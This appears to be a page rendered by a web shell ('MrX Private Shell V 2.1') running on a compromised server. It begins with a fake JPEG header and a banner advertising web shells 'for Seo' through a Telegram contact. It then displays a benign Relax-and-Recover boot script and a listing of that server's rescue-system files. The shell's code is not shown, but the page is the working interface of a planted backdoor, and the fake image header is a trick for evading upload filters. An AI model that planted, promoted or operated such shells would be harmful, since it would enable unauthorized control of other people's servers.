����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/bash
# Relax-and-Recover
# Limit console logging for 'dmesg' messages to level 5
# (i.e. what kernel messages appear intermixed with ReaR messages on the console)
# where level 5 means to show only the following kernel messages (cf. 'dmesg -h')
# emerg - system is unusable
# alert - action must be taken immediately
# crit - critical conditions
# err - error conditions
# warn - warning conditions
# We need also kernel warning messages because some errors are reported as warning
# cf. https://github.com/rear/rear/issues/3107#issuecomment-1855560152
dmesg -n 5
# basic mounts
mountpoint /proc || mount -t proc -n none /proc
mountpoint /sys || mount -t sysfs none /sys
if type udevd &>/dev/null && ! type udevinfo &>/dev/null; then
### we use udevinfo to filter out old udev versions (<106) that don't
### support --version
udev_version=$(udevd --version)
if [[ "$udev_version" -gt 175 ]]; then
### udev > 175 needs devtmpfs
mountpoint /dev || mount -t devtmpfs none /dev
fi
fi
if [[ ! -d /dev/pts ]] ; then
mkdir /dev/pts
fi
# was missing on ia64 rhel5
if [[ ! -L /dev/fd ]] ; then
ln -s /proc/self/fd /dev/fd
fi
mountpoint /dev/pts || mount -t devpts -o gid=5,mode=620 none /dev/pts
cat /proc/mounts >/etc/mtab 2>/dev/null
# basic loopback net
ip addr add 127.0.0.1/8 dev lo
ip link set lo up
# set hostname
export HOSTNAME="$(cat /etc/HOSTNAME)" # set hostname in THIS shell
hostname "$HOSTNAME" # set hostname in the system
echo Hostname set to $(uname -n)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| system-setup.d | Folder | 0755 |
|
|
| boot | File | 1.51 KB | 0755 |
|
| dhcp-setup-functions.sh | File | 22.11 KB | 0644 |
|
| do-shutdown | File | 258 B | 0755 |
|
| ramdisk-rootfs | File | 569 B | 0755 |
|
| run-automatic-rear | File | 2.75 KB | 0755 |
|
| run-serial | File | 283 B | 0755 |
|
| run-sshd | File | 1.48 KB | 0755 |
|
| run-syslog | File | 1006 B | 0755 |
|
| system-setup | File | 13.97 KB | 0755 |
|
| system-setup-functions.sh | File | 1.27 KB | 0644 |
|
| system-status.sh | File | 1.45 KB | 0755 |
|
| unlock-opal-disks | File | 15.98 KB | 0755 |
|